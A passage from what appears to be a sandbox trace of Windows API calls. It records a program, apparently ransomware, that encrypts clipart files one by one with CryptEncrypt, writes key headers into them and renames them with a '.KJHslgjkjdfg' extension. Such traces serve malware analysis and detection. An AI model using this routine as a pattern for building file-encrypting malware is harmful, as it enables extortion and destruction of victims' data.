dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.864] GetProcessHeap () returned 0x2a0000 [0173.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.864] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.867] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.867] GetProcessHeap () returned 0x2a0000 [0173.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.867] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.867] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.867] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.867] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.867] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.867] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.867] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.867] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c4c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c4c, lpOverlapped=0x0) returned 1 [0173.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c50, dwBufLen=0x2c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c50) returned 1 [0173.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.869] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c50, lpOverlapped=0x0) returned 1 [0173.869] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.869] SetEndOfFile (hFile=0x114) returned 1 [0173.871] GetProcessHeap () returned 0x2a0000 [0173.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.872] GetProcessHeap () returned 0x2a0000 [0173.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.kjhslgjkjdfg")) returned 1 [0173.873] CloseHandle (hObject=0x114) returned 1 [0173.873] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0173.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.874] GetProcessHeap () returned 0x2a0000 [0173.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.874] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.874] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.874] GetProcessHeap () returned 0x2a0000 [0173.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.874] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.874] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.874] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.877] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.877] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4030, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4030, lpOverlapped=0x0) returned 1 [0173.878] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4030, dwBufLen=0x4030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4030) returned 1 [0173.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.878] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4030, lpOverlapped=0x0) returned 1 [0173.879] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.879] SetEndOfFile (hFile=0x114) returned 1 [0173.881] GetProcessHeap () returned 0x2a0000 [0173.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.881] GetProcessHeap () returned 0x2a0000 [0173.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.kjhslgjkjdfg")) returned 1 [0173.883] CloseHandle (hObject=0x114) returned 1 [0173.883] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0173.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.884] GetProcessHeap () returned 0x2a0000 [0173.884] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.884] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.884] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.886] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.886] GetProcessHeap () returned 0x2a0000 [0173.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.886] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.887] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.887] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.887] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.887] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3eb4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3eb4, lpOverlapped=0x0) returned 1 [0173.888] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ec0, dwBufLen=0x3ec0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ec0) returned 1 [0173.888] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.888] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ec0, lpOverlapped=0x0) returned 1 [0173.889] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.889] SetEndOfFile (hFile=0x114) returned 1 [0173.891] GetProcessHeap () returned 0x2a0000 [0173.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.891] GetProcessHeap () returned 0x2a0000 [0173.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.kjhslgjkjdfg")) returned 1 [0173.893] CloseHandle (hObject=0x114) returned 1 [0173.893] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0173.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.894] GetProcessHeap () returned 0x2a0000 [0173.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.894] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.894] GetProcessHeap () returned 0x2a0000 [0173.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.894] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.894] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.899] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.900] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.900] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.900] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.900] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a80, lpOverlapped=0x0) returned 1 [0173.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a80, dwBufLen=0x2a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a80) returned 1 [0173.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.901] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a80, lpOverlapped=0x0) returned 1 [0173.902] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.902] SetEndOfFile (hFile=0x114) returned 1 [0173.904] GetProcessHeap () returned 0x2a0000 [0173.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.904] GetProcessHeap () returned 0x2a0000 [0173.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.kjhslgjkjdfg")) returned 1 [0173.906] CloseHandle (hObject=0x114) returned 1 [0173.907] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0173.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.908] GetProcessHeap () returned 0x2a0000 [0173.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.908] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.908] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.908] GetProcessHeap () returned 0x2a0000 [0173.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.909] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.909] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.909] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 